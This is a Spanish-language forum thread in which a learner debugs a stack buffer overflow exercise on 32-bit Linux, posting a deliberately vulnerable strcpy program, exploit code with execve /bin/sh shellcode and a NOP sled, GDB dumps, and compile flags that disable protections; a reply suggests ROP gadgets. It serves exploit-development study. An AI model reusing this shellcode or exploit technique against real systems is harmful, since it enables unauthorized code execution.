hola
Tengo problemas con un ejercicio de un exploit para linux
Este es el codigo a explotar
#include <stdio.h>
#include <string.h>
main(int argc, char **argv){
char buffer[80];
strcpy(buffer, argv[1]);
return 1;
}
Este es el codigo del exploit
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
// shellcode ripped from http://www.milw0rm.com/shellcode/444
char shellcode[]=
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x99" // cltd
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
char retaddr[] = "\xaa\xaa\xaa\xaa";
#define NOP 0x90
main()
{
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG=", 4);
memcpy(buffer+4, shellcode, 24);
memcpy(buffer+88, retaddr, 4);
memcpy(buffer+92, "\x00\x00\x00\x00", 4);
putenv(buffer);
system("/bin/sh");
return 0;
}
Cuando lo compilo, lo depuro con GDB, el objetivo es meter en ret la direccion de inicio donde se encuentra la shellcode y meter en ESP el valor del inicio de la shellcode, asi que sobreescribo el buffer, despues sobreescribo ebp, pero en el codigo de arriba, ret se sobreescribe con x90 y esp+4 se sobreescribe con la direccion de ret
(gdb) x/22xw $esp
0xffffcfe0: 0x00000000 0x0804824c 0xffffffff 0x47488023
0xffffcff0: 0x47462a3c 0xf7ffc3d0 0x474edfd0 0x080482bd
0xffffd000: 0x00010000 0x476061d8 0x0804a000 0x08048492
0xffffd010: 0x00000002 0xffffd0d4 0xffffd0e0 0x474881ad
0xffffd020: 0x476083c4 0x00001000 0x0804844b 0x47608000
0xffffd030: 0x08048440 0x00000000
(gdb) x/22xw argv[1]
0xffffd2c3: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0xffffd2d3: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0xffffd2e3: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2f3: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd303: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd313: 0x90909090 0xaaaaaaaa
Este es ret y esp+4
0xffffd030: 0x08048440 0x00000000
y asi queda despues de meter los valores
0xffffd313: 0x90909090 0xaaaaaaaa
Asi que modifique el codigo disminuyendo la cantidad del buffer y quedo asi
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char shellcode[]=
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x99" // cltd
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
char retaddr[] = "\xe0\xcf\xff\xff";
#define NOP 0x90
main()
{
char buffer[92];
memset(buffer, NOP, 92);
memcpy(buffer, "EGG=", 4);
memcpy(buffer+4, shellcode, 24);
memcpy(buffer+84, retaddr, 4);
memcpy(buffer+88, "\x00\x00\x00\x00", 4);
putenv(buffer);
system("/bin/sh");
return 0;
}
pero volviendo a verificar con GDB
(gdb) x/22xw argv[1]
0xffffd2cb: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0xffffd2db: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0xffffd2eb: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2fb: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd30b: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd31b: 0xffffcfe0 0x47445800
de esta forma ret queda con el valor de inicio de la shellcode, pero esp queda un valor distinto a 0x00
0xffffd31b: 0xffffcfe0 0x47445800
Y el problema es que deberia quedar asi
0xffffd31b: 0xffffcfe0 0x00000000
Al principio crei que posiblemente no alcanzaba y tanto aumente nop's como disminui pero nada, entonces se me ocurrio modificar el valor de memcpy de buffer+88
memcpy(buffer+88, "\x90\x90\x90\x90", 4);
entonces lo volvi a depurar y miren
(gdb) x/22xw argv[1]
0xffffd2c3: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0xffffd2d3: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0xffffd2e3: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2f3: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd303: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd313: 0xffffcfe0 0x90909090
lo que quiere decir que los ceros no se incluyen y no se que podria hacer para arreglar esto, ya que para que funcione deberia ser asi
0xffffd313: 0xffffcfe0 0x00000000
para que ret avance a la direccion 0xffffcfe0 con el valor 0x00000000
Alguien me podria ayudar a solucionarlo porfavor
salu2
EDITO
tengo desactivado randomize_va_space y enforce de SElinux
y los dos estan compilados con los mismo parametros
gcc -ggdb -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
Hola, no entiendo por qué intentas almacenar una serie de 0, strcpy copia strings hasta que detecta una terminación null, en este caso el 0 que estás copiando. Yo lo solucionaría con un ROP Gagdet (MASM):
- XOR r32,r32, RET
- PUSH r32, RET
donde r32 debe ser cualquier registro de propósito general, de esta forma con la primera cadena de ROP se deja un registro en 0 y luego con la segunda, se es empujado.
Otra alternativa de ROP Gadget:
- MOV r32,0FFFFFFFFh, RET
- INC r32,RET
- PUSH r32, RET
De esta forma al incrementar el registro, se convertirá en 0. Todavía no me inicio con exploits en linux, pero espero que sea de utilidad, si no lo es. Mis disculpas, saludos.
hola
gracias por la respuesta, pero los opcode funcionan bien, tambien la direccion de ret funciona, lo unico que no funciona es el registro de ESP, porque los ceros en hexadecimal no sobreescriben ESP+4, que es el valor del registro donde ret al dirigirse tiene que iniciar y donde comienza la shellcode, y como no sobreescribe ESP+4 con 0x00 al saltar a la direccion de la shellcode, busca un valor erroneo y se provoca un error